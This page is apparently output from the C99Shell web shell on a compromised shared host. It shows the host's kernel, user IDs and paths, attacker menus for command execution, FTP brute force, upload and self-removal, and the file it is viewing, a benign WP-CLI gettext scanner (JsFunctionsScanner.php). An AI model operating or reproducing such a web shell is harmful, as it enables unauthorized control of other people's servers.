!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/local/wp/vendor/wp-cli/i18n-command/src/   drwxr-xr-x
Free 712.74 GB of 879.6 GB (81.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     JsFunctionsScanner.php (11.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace WP_CLI\I18n;

use Gettext\Utils\JsFunctionsScanner as GettextJsFunctionsScanner;
use Gettext\Utils\ParsedComment;
use Peast\Peast;
use Peast\Syntax\Node;
use Peast\Traverser;

final class JsFunctionsScanner extends GettextJsFunctionsScanner {

    /**
     * If not false, comments will be extracted.
     *
     * @var string|false|array
     */
    private $extract_comments = false;

    /**
     * Holds a list of source code comments already added to a string.
     *
     * Prevents associating the same comment to multiple strings.
     *
     * @var Node\Comment[] $comments_cache
     */
    private $comments_cache = [];

    /**
     * Enable extracting comments that start with a tag (if $tag is empty all the comments will be extracted).
     *
     * @param mixed $tag
     */
    public function enableCommentsExtraction( $tag = '' ) {
        $this->extract_comments = $tag;
    }

    /**
     * Disable comments extraction.
     */
    public function disableCommentsExtraction() {
        $this->extract_comments = false;
    }

    /**
     * {@inheritdoc}
     */
    public function saveGettextFunctions( $translations, array $options ) {
        // Ignore multiple translations for now.
        // @todo Add proper support for multiple translations.
        if ( is_array( $translations ) ) {
            $translations = $translations[0];
        }

        $peast_options = [
            'sourceType' => Peast::SOURCE_TYPE_MODULE,
            'comments'   => false !== $this->extract_comments,
            'jsx'        => true,
        ];
        $ast           = Peast::latest( $this->code, $peast_options )->parse();

        $traverser = new Traverser();

        $all_comments = [];

        /**
         * Traverse through JS code to find and extract gettext functions.
         *
         * Make sure translator comments in front of variable declarations
         * and inside nested call expressions are available when parsing the function call.
         */
        $traverser->addFunction(
            function ( $node ) use ( &$translations, $options, &$all_comments ) {
                $functions     = $options['functions'];
                $file          = $options['file'];
                $add_reference = ! empty( $options['addReferences'] );

                /** @var Node\Node $node */
                foreach ( $node->getLeadingComments() as $comment ) {
                    $all_comments[] = $comment;
                }

                /** @var Node\CallExpression $node */
                if ( 'CallExpression' !== $node->getType() ) {
                    return;
                }

                $callee = $this->resolveExpressionCallee( $node );

                if ( ! $callee || ! isset( $functions[ $callee['name'] ] ) ) {
                    return;
                }

                /** @var Node\CallExpression $node */
                foreach ( $node->getArguments() as $argument ) {
                    // Support nested function calls.
                    $argument->setLeadingComments( $argument->getLeadingComments() + $node->getLeadingComments() );
                }

                foreach ( $callee['comments'] as $comment ) {
                    $all_comments[] = $comment;
                }

                $domain   = null;
                $original = null;
                $context  = null;
                $plural   = null;
                $args     = [];

                /** @var Node\Node $argument */
                foreach ( $node->getArguments() as $argument ) {
                    foreach ( $argument->getLeadingComments() as $comment ) {
                        $all_comments[] = $comment;
                    }

                    if (
                        'Identifier' === $argument->getType() ||
                        'Expression' === substr( $argument->getType(), -strlen( 'Expression' ) )
                    ) {
                        $args[] = ''; // The value doesn't matter as it's unused.
                        continue;
                    }

                    if ( 'Literal' === $argument->getType() ) {
                        /** @var Node\Literal $argument */
                        $args[] = $argument->getValue();
                        continue;
                    }

                    if ( 'TemplateLiteral' === $argument->getType() && 0 === count( $argument->getExpressions() ) ) {
                        /** @var Node\TemplateLiteral $argument */
                        /** @var Node\TemplateElement[] $parts */

                        // Since there are no expressions within the TemplateLiteral, there is only one TemplateElement.
                        $parts  = $argument->getParts();
                        $args[] = $parts[0]->getValue();
                        continue;
                    }

                    // If we reach this, an unsupported argument type has been encountered.
                    // Do not try to parse this function call at all.
                    return;
                }

                switch ( $functions[ $callee['name'] ] ) {
                    case 'text_domain':
                    case 'gettext':
                        list( $original, $domain ) = array_pad( $args, 2, null );
                        break;

                    case 'text_context_domain':
                        list( $original, $context, $domain ) = array_pad( $args, 3, null );
                        break;

                    case 'single_plural_number_domain':
                        list( $original, $plural, $number, $domain ) = array_pad( $args, 4, null );
                        break;

                    case 'single_plural_number_context_domain':
                        list( $original, $plural, $number, $context, $domain ) = array_pad( $args, 5, null );
                        break;
                }

                if ( '' === (string) $original ) {
                    return;
                }

                if ( $domain !== $translations->getDomain() && null !== $translations->getDomain() ) {
                    return;
                }

                if ( isset( $options['line'] ) ) {
                    $line = $options['line'];
                } else {
                    $line = $node->getLocation()->getStart()->getLine();
                }

                $translation = $translations->insert( $context, $original, $plural );

                if ( $add_reference ) {
                    $translation->addReference( $file, $line );
                }

                if (
                    1 === preg_match( MakePotCommand::SPRINTF_PLACEHOLDER_REGEX, $original ) ||
                    1 === preg_match( MakePotCommand::UNORDERED_SPRINTF_PLACEHOLDER_REGEX, $original )
                ) {
                    $translation->addFlag( 'js-format' );
                }

                /** @var Node\Comment $comment */
                foreach ( $all_comments as $comment ) {
                    // Comments should be before the translation.
                    if ( ! $this->commentPrecedesNode( $comment, $node ) ) {
                        continue;
                    }

                    if ( in_array( $comment, $this->comments_cache, true ) ) {
                        continue;
                    }

                    $parsed_comment = ParsedComment::create( $comment->getRawText(), $comment->getLocation()->getStart()->getLine() );
                    $prefixes       = array_filter( (array) $this->extract_comments );

                    if ( $parsed_comment->checkPrefixes( $prefixes ) ) {
                        $translation->addExtractedComment( $parsed_comment->getComment() );

                        $this->comments_cache[] = $comment;
                    }
                }

                if ( isset( $parsed_comment ) ) {
                    $all_comments = [];
                }
            }
        );

        /**
         * Traverse through JS code contained within eval() to find and extract gettext functions.
         */
        $scanner = $this;
        $traverser->addFunction(
            function ( $node ) use ( &$translations, $options, $scanner ) {
                /** @var Node\CallExpression $node */
                if ( 'CallExpression' !== $node->getType() ) {
                    return;
                }

                $callee = $this->resolveExpressionCallee( $node );

                if ( ! $callee || 'eval' !== $callee['name'] ) {
                    return;
                }

                $eval_contents = '';
                /** @var Node\Node $argument */
                foreach ( $node->getArguments() as $argument ) {
                    if ( 'Literal' === $argument->getType() ) {
                        /** @var Node\Literal $argument */
                        $eval_contents = $argument->getValue();
                        break;
                    }
                }

                if ( ! $eval_contents ) {
                    return;
                }

                // Override the line location to be that of the eval().
                $options['line'] = $node->getLocation()->getStart()->getLine();

                $class = get_class( $scanner );
                $evals = new $class( $eval_contents );
                $evals->enableCommentsExtraction( $options['extractComments'] );
                $evals->saveGettextFunctions( $translations, $options );
            }
        );

        $traverser->traverse( $ast );
    }

    /**
     * Resolve the callee of a call expression using known formats.
     *
     * @param Node\CallExpression $node The call expression whose callee to resolve.
     *
     * @return array|bool Array containing the name and comments of the identifier if resolved. False if not.
     */
    private function resolveExpressionCallee( Node\CallExpression $node ) {
        $callee = $node->getCallee();

        // If the callee is a simple identifier it can simply be returned.
        // For example: __( "translation" ).
        if ( 'Identifier' === $callee->getType() ) {
            return [
                'name'     => $callee->getName(),
                'comments' => $callee->getLeadingComments(),
            ];
        }

        // If the callee is a member expression resolve it to the property.
        // For example: wp.i18n.__( "translation" ) or u.__( "translation" ).
        if (
            'MemberExpression' === $callee->getType() &&
            'Identifier' === $callee->getProperty()->getType()
        ) {
            // Make sure to unpack wp.i18n which is a nested MemberExpression.
            $comments = 'MemberExpression' === $callee->getObject()->getType()
                ? $callee->getObject()->getObject()->getLeadingComments()
                : $callee->getObject()->getLeadingComments();

            return [
                'name'     => $callee->getProperty()->getName(),
                'comments' => $comments,
            ];
        }

        // If the callee is a call expression as created by Webpack resolve it.
        // For example: Object(u.__)( "translation" ).
        if (
            'CallExpression' === $callee->getType() &&
            'Identifier' === $callee->getCallee()->getType() &&
            'Object' === $callee->getCallee()->getName() &&
            [] !== $callee->getArguments() &&
            'MemberExpression' === $callee->getArguments()[0]->getType()
        ) {
            $property = $callee->getArguments()[0]->getProperty();

            // Matches minified webpack statements: Object(u.__)( "translation" ).
            if ( 'Identifier' === $property->getType() ) {
                return [
                    'name'     => $property->getName(),
                    'comments' => $callee->getCallee()->getLeadingComments(),
                ];
            }

            // Matches unminified webpack statements:
            // Object(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_7__["__"])( "translation" );
            if ( 'Literal' === $property->getType() ) {
                $name = $property->getValue();

                // Matches mangled webpack statement:
                // Object(_wordpress_i18n__WEBPACK_IMPORTED_MODULE_7__[/* __ */ "a"])( "translation" );
                $leading_property_comments = $property->getLeadingComments();
                if ( count( $leading_property_comments ) === 1 && $leading_property_comments[0]->getKind() === 'multiline' ) {
                    $name = trim( $leading_property_comments[0]->getText() );
                }

                return [
                    'name'     => $name,
                    'comments' => $callee->getCallee()->getLeadingComments(),
                ];
            }
        }

        // If the callee is an indirect function call as created by babel, resolve it.
        // For example: `(0, u.__)( "translation" )`.
        if (
            'ParenthesizedExpression' === $callee->getType()
            && 'SequenceExpression' === $callee->getExpression()->getType()
            && 2 === count( $callee->getExpression()->getExpressions() )
            && 'Literal' === $callee->getExpression()->getExpressions()[0]->getType()
            && [] !== $node->getArguments()
        ) {
            // Matches any general indirect function call: `(0, __)( "translation" )`.
            if ( 'Identifier' === $callee->getExpression()->getExpressions()[1]->getType() ) {
                return [
                    'name'     => $callee->getExpression()->getExpressions()[1]->getName(),
                    'comments' => $callee->getLeadingComments(),
                ];
            }

            // Matches indirect function calls used by babel for module imports: `(0, _i18n.__)( "translation" )`.
            if ( 'MemberExpression' === $callee->getExpression()->getExpressions()[1]->getType() ) {
                $property = $callee->getExpression()->getExpressions()[1]->getProperty();

                if ( 'Identifier' === $property->getType() ) {
                    return [
                        'name'     => $property->getName(),
                        'comments' => $callee->getLeadingComments(),
                    ];
                }
            }
        }

        // Unknown format.
        return false;
    }

    /**
     * Returns wether or not a comment precedes a node.
     * The comment must be before the node and on the same line or the one before.
     *
     * @param Node\Comment $comment The comment.
     * @param Node\Node    $node    The node.
     *
     * @return bool Whether or not the comment precedes the node.
     */
    private function commentPrecedesNode( Node\Comment $comment, Node\Node $node ) {
        // Comments should be on the same or an earlier line than the translation.
        if ( $node->getLocation()->getStart()->getLine() - $comment->getLocation()->getEnd()->getLine() > 1 ) {
            return false;
        }

        // Comments on the same line should be before the translation.
        if (
            $node->getLocation()->getStart()->getLine() === $comment->getLocation()->getEnd()->getLine() &&
            $node->getLocation()->getStart()->getColumn() < $comment->getLocation()->getStart()->getColumn()
        ) {
            return false;
        }

        return true;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0116 ]--